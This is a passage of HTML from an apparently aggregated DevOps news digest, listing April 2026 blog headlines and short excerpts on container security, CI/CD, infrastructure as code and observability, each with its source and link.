          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-simplifying-egress-routing-to-wildcard-destinations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Overview Controlling egress traffic is a common requirement in service mesh deployments. Many organizations configure their mesh to allow only explicitly registered external services by setting: meshC</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 Istio Blog</strong></p>
<p><a href="https://istio.io/latest/blog/2026/egress-dynamic-dns/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-reclaim-developer-hours-through-smarter-vulnerability-prioritization-with-docker-and-mendio" class="group relative scroll-mt-24">
        <a href="#h3-reclaim-developer-hours-through-smarter-vulnerability-prioritization-with-docker-and-mendio" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Reclaim Developer Hours through Smarter Vulnerability Prioritization with Docker and Mend.io
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-reclaim-developer-hours-through-smarter-vulnerability-prioritization-with-docker-and-mendio"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We recently announced the integration between Mend.io and Docker Hardened Images (DHI) provides a seamless framework for managing container security. By automatically distinguishing between base image</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/reclaim-developer-hours-through-smarter-vulnerability-prioritization-with-docker-and-mend-io/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-secure-what-matters-scaling-effortless-container-security-for-the-ai-era" class="group relative scroll-mt-24">
        <a href="#h3-secure-what-matters-scaling-effortless-container-security-for-the-ai-era" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Secure What Matters: Scaling Effortless Container Security for the AI Era
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-secure-what-matters-scaling-effortless-container-security-for-the-ai-era"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Announcing Snyk Container Registry Sync GA for automated image management and runtime intelligence. Scale container security effortlessly for the fast-paced AI era.</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/scale-container-security-effortlessly/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-shipping-genai-is-messy-poka-made-it-manageable" class="group relative scroll-mt-24">
        <a href="#h3-shipping-genai-is-messy-poka-made-it-manageable" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Shipping GenAI is messy; Poka made it manageable
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-shipping-genai-is-messy-poka-made-it-manageable"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Poka tests, tweaks, and ships GenAI features in real time without redeployment.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/poka-made-shipping-ai-manageable/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-catch-and-revert-ai-failures-in-production-automatically" class="group relative scroll-mt-24">
        <a href="#h3-catch-and-revert-ai-failures-in-production-automatically" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Catch and revert AI failures in production (automatically)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-catch-and-revert-ai-failures-in-production-automatically"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Detect and revert risky GenAI changes—before users have a chance to notice them.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/catch-and-revert-ai-failures-in-production/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-auto-generating-openapi-documents-with-typescript-interfaces" class="group relative scroll-mt-24">
        <a href="#h3-auto-generating-openapi-documents-with-typescript-interfaces" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Auto-generating OpenAPI documents with TypeScript interfaces
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-auto-generating-openapi-documents-with-typescript-interfaces"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>📅 Apr 13, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/auto-generating-openapi-documents-with-typescript-/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-copilot-cli-for-beginners-getting-started-with-github-copilot-cli" class="group relative scroll-mt-24">
        <a href="#h3-github-copilot-cli-for-beginners-getting-started-with-github-copilot-cli" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Copilot CLI for Beginners: Getting started with GitHub Copilot CLI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-copilot-cli-for-beginners-getting-started-with-github-copilot-cli"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub for Beginners: Getting started with the GitHub Copilot CLI, a step-by-step tutorial. The post GitHub Copilot CLI for Beginners: Getting started with GitHub Copilot CLI appeared first on The Git</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/github-copilot-cli-for-beginners-getting-started-with-github-copilot-cli/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-availability-report-march-2026" class="group relative scroll-mt-24">
        <a href="#h3-github-availability-report-march-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub availability report: March 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-availability-report-march-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In March, we experienced four incidents that resulted in degraded performance across GitHub services. The post GitHub availability report: March 2026 appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/github-availability-report-march-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-5-ways-gitlab-pipeline-logic-solves-real-engineering-problems" class="group relative scroll-mt-24">
        <a href="#h3-5-ways-gitlab-pipeline-logic-solves-real-engineering-problems" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 5 ways GitLab pipeline logic solves real engineering problems
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-ways-gitlab-pipeline-logic-solves-real-engineering-problems"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most CI/CD tools can run a build and ship a deployment. Where they diverge is what happens when your delivery needs get real: a monorepo with a dozen services, microservices spread across multiple rep</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/5-ways-gitlab-pipeline-logic-solves-real-engineering-problems/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-assertions-why-deterministic-testing-fails-for-chatbot-v" class="group relative scroll-mt-24">
        <a href="#h3-ai-assertions-why-deterministic-testing-fails-for-chatbot-v" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Assertions: Why Deterministic Testing Fails for Chatbot V
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-assertions-why-deterministic-testing-fails-for-chatbot-v"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Deterministic frameworks fail at testing AI chatbots. Learn why you need AI Assertions for reliable chatbot validation, preventing hallucinations, prompt injection, and consistency errors at scale. | </p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/testing-ai-with-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-connected-engineering-platforms-critical-for-the-next-genai" class="group relative scroll-mt-24">
        <a href="#h3-connected-engineering-platforms-critical-for-the-next-genai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Connected Engineering Platforms Critical for the Next GenAI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-connected-engineering-platforms-critical-for-the-next-genai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI in engineering is only as powerful as the context it can access. Learn why connected platforms, not isolated tools, will define the next generation of AI-driven software delivery. | Blog</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/why-connected-platforms-will-power-the-next-generation-of-ai-in-engineering"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-universe-is-back-we-want-you-to-take-the-stage" class="group relative scroll-mt-24">
        <a href="#h3-github-universe-is-back-we-want-you-to-take-the-stage" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Universe is back: We want you to take the stage
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-universe-is-back-we-want-you-to-take-the-stage"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Get inspired by five of the most memorable, magical, and quirky Universe sessions to date. The post GitHub Universe is back: We want you to take the stage appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/github-universe-is-back-we-want-you-to-take-the-stage/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-bazel-q1-2026-community-update" class="group relative scroll-mt-24">
        <a href="#h3-bazel-q1-2026-community-update" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Bazel Q1 2026 Community Update
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-bazel-q1-2026-community-update"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Announcements Mark Your Calendars: BazelCon 2026 is Heading to Amsterdam! Get ready to build at scale in the heart of Europe. We are thrilled to announce that BazelCon 2026 will be taking place in the</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Bazel Blog</strong></p>
<p><a href="https://blog.bazel.build/2026/04/08/bazel-q1-2026-community-update.html"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-streamline-test-management-with-the-smartbear-qmetry-gitlab-component" class="group relative scroll-mt-24">
        <a href="#h3-streamline-test-management-with-the-smartbear-qmetry-gitlab-component" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Streamline test management with the SmartBear QMetry GitLab component
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-streamline-test-management-with-the-smartbear-qmetry-gitlab-component"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In modern software development, test management and continuous integration are two sides of the same coin. DevSecOps teams need seamless integration between their CI/CD pipelines and test management p</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/streamline-test-management-with-the-smartbear-qmetry-gitlab-component/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pipeline-security-lessons-from-march-supply-chain-incidents" class="group relative scroll-mt-24">
        <a href="#h3-pipeline-security-lessons-from-march-supply-chain-incidents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Pipeline security lessons from March supply chain incidents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pipeline-security-lessons-from-march-supply-chain-incidents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Note: The GitLab product did not use any of the compromised package versions mentioned in this post. In the span of 12 days, four separate supply chain attacks revealed that continuous integration and</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/pipeline-security-lessons-from-march-supply-chain-incidents/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-amazon-cloudwatch-pipelines-now-supports-drop-and-conditional-processing" class="group relative scroll-mt-24">
        <a href="#h3-amazon-cloudwatch-pipelines-now-supports-drop-and-conditional-processing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon CloudWatch pipelines now supports drop and conditional processing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-cloudwatch-pipelines-now-supports-drop-and-conditional-processing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon CloudWatch pipelines now supports conditional processing and a new drop events processor, giving you more control over how your log data is transformed. CloudWatch pipelines is a fully managed </p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-cloudwatch-pipelines-conditional/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-planning-your-upgrade-path-to-ansible-automation-platform-26" class="group relative scroll-mt-24">
        <a href="#h3-planning-your-upgrade-path-to-ansible-automation-platform-26" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Planning your upgrade path to Ansible Automation Platform 2.6
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-planning-your-upgrade-path-to-ansible-automation-platform-26"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The release of Red Hat Ansible Automation Platform 2.6 marks a pivotal milestone. Before you begin your upgrade, there are 3 key things you need to know to make your transition smoother:This is the la</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/planning-your-upgrade-path-ansible-automation-platform-26"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-bun-as-a-runtime-for-pulumi" class="group relative scroll-mt-24">
        <a href="#h3-introducing-bun-as-a-runtime-for-pulumi" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Bun as a Runtime for Pulumi
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-bun-as-a-runtime-for-pulumi"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last year we added support for Bun as a package manager for Pulumi TypeScript projects. Today we’re taking the next step: Bun is now a fully supported runtime for Pulumi programs. Set runtime: bun in </p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/introducing-bun-as-a-runtime-for-pulumi/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-the-5-best-logging-libraries-for-golang" class="group relative scroll-mt-24">
        <a href="#h3-the-5-best-logging-libraries-for-golang" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The 5 best logging libraries for Golang
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-5-best-logging-libraries-for-golang"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We explore Zap, Zerolog, Slog, apex/log, and Logrus.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/the-5-best-logging-libraries-for-golang/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opentelemetryio-2025-review" class="group relative scroll-mt-24">
